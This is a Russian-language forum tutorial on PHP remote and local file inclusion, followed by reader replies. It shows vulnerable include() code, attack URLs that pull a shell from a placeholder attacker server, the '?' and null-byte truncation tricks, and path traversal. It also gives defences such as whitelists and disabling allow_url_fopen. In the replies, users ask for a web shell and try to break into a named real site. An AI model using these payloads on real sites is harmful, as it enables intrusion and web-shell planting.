Основы php-инъекций для новичков. (c)Wiki Азы. Php-injection - это форма атаки на сайт, когда атакующий внедряет свой php-код в атакуемое php-приложение. При успешной инъекции атакующий может выполнить произвольный (потенциально опасный) пхп-код на целевом сервере. На пример залить шелл. Но сначала подробно разжуем, как это происходит. На пример: Представим, что у нас имеется сайт, написанный на PHP. Представим так же, что сайт использует комманду page=page.html для отображения запрашиваемой страницы. Код будет выглядить так: PHP: <?php $file =$_GET['page']; //Отображаемая страница include($file); ?> Это значит, что все, выводимое на странице, будет внедрено в пхп-код этой страницы. Следовательно атакующий может проделать что-то наподобии: PHP: http://www.атакуемый_сайт.com/index.php?page=http://www.атакующий_серв.com/вредоносный_скрипт.txt? Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере: PHP: <?php $file ="http://www.атакующий_серв.com/вредоносный_скрипт.txt?"; //$_GET['page']; include($file); //$file - это внедренный злоумышленником скрипт ?> Мы видим, что злоумышленник произвел успешную атаку на целевой сервер. Подробнее: И так, почему же злоумышленник смог провести PHP-инъекцию? Все потому что функция include() позволяет запускать удаленные файлы. Почему в примере был указан скрипт с расширением *.txt, а не *.php? Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе. Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функции include() на целевом сервере. Пример: PHP: <?php $file =$_GET['page']; include($file .".php"); ?> Этот скрипт добавляет расширение *.php к чему либо, вызываемомому коммандой include(). Т.е. PHP: http://www.атакующий_серв.com/вредоносный_скрипт.txt Превращается в PHP: http://www.атакующий_серв.com/вредоносный_скрипт.txt.php С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php) По этому, мы и добавляем "?" в конец пути к вредоносному скрипту: PHP: http://www.атакующий_серв.com/вредоносный_скрипт.txt?.php Но он остается исполняемым. Проведение PHP-инъекций через уязвимость функции include(). RFI - удаленный инклюд при PHP-инъекции. Возможность проведения RFI - довольно частая бага в двигах. Найти ее можно следущим образом: Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом: PHP: /index.php?page=main Подставляем вместо main любое бредовое значение, например upyachka PHP: /index.php?page=upyachka В ответ получим ошибку: PHP: Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3 Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3 Это показывает нам на то, что инклуд осуществим. Пробуем подставить вместо upyachka сайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше) PHP: http://www.атакуемый_сервер.com/index.php?file=http://www.сайт_злоумышленника.com/shell Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой. LFI - локальный инклюд при PHP-инъекции. Представим, что мы набрели на тот же уязвимый сайт PHP: /index.php?file=main С кодом PHP: <? .. Include ("folder/$page.htm"); … ?> Это уже локальный инклюд. В этой ситуации возможен только листинг файлов: PHP: /index.php?page=../index.php В следующем случае код выглядит вот таким образом: PHP: <? .. Include ("$dir1/folder/page.php"); … ?> В этом случае можно прописать путь к шеллу следующим образом: Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл: PHP: http://www.сайт_злоумышленника.com/folder/shell.php Инъекция в таком случае будет выглядить так: PHP: index.php?dir1=http://www.сайт_злоумышленника.com/ Способы защиты Рассмотрим скрипт: PHP: <? ... $module = $_GET['module']; include $module . '.php'; ... ?> Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется *.php и по полученному пути запускается файл. Существует несколько способов защиты от такой атаки: -Проверять, не содержит ли переменная $module посторонние символы: PHP: <? ... $module = $_GET['module']; if (strpbrk($module, '.?/:')) die('Blocked'); include $module. '.php'; ... ?> -Проверять, что $module присвоено одно из допустимых значений: PHP: ... $module = $_GET['module']; $arr = array('main', 'about', 'links', 'forum'); if (!in_array($module,$arr)) $module = $arr[0]; include $module . '.php'; ... ?> Второй способ эффективнее и аккуратнее. Так же существует проверка существования файла: PHP: <? .. if (file_exists("$page.php")) //Проверяется файл, если он существует, то происходит запуск. { Include ("$page.php"); } Else //Есле… { Echo "Error!"; } … ?> От локального инклюда может помочь следующее: PHP: <? .. $page=str_replace("/","",$page); // Блокируется возможность перехода в другие дирректории. if (file_exists("files/$page.htm ")) { Include ("files/$page.htm"); } Else { Echo "error"; } … ?> PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini. Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё. При написании были использованы материалы из Википедии, с забугорного форума security-sh3ll (spl0it), с форума Античат (GreenBear). Отдельное спасибо Burt и f02 за помощь, поддержку и благую критику)
При разработке скриптов полезно пользоваться принципом "Запрещено все, что не разрешено" - инклуд посредством switch'я PHP: <?phpswitch ($id) {case ’lol’: include ’lol.php’; break;default: include ’heckeng.php’;} ?> Тогда ссылки будут вида PHP: <a href="page.php?id=lol"> Ready to become a mehohecker ?</a>
а что шелл который ты будешь использовать при пхп-инжекте должен чем то отличаться от обычного? MadnetShell v2.1 и вперёд)
Hookman, для пхп инекции не нужен специальний шелл? ведь при пхп инекции шелл внидраетса в пхп код а не на ftp Вы можете дать мне link для madnetshell v2.1 ?
вобшем такая у меня возникла небольшая проблемма : есть уязвимый сайт,при попытке запуска шелла ,он запускается на моем хосте(если его расширение *.php),а если запускать его вот таким образом шелл.txt?.php ,то мне показывает исходный код скрипта (шелла).Подскажите плиз что я делаю неверно или из за чего еще может быть эта проблемма(хост и тп) .
Невозможно приинклудить php скрипт удаленно и выполнить его код, потому как ты инклудиш результат выполнения, подумай логически я сейчас делаю на локалхосте такой код: и смотрю конфиги форума. Кинь в личку ссылку я поколупаю, если хочеш.
есть сайт, он открывает файл который указываеться в гет запросе но там такая хня: как можно запустить шел ?
Пробуй так ../www..../shell.php? если allow_url_include = on, а так же попробуй читать файлы на сервере.
привет у меня есть такая сылка http://www.volgafoto.com/?page_id= но не чего не происходит я всё подстовляю помогите .
так он инклюдит или открывает? Если инклюдит - то поможет нуль-байт или статья "новая веха в теории инклюдов". Если открывает (fopen) то для просмотра может помочь нуль-байт (зависит от настроек сервера) или ничего. Это WordPress 3.2.1 и в нём нет уязвимости в параметре page_id.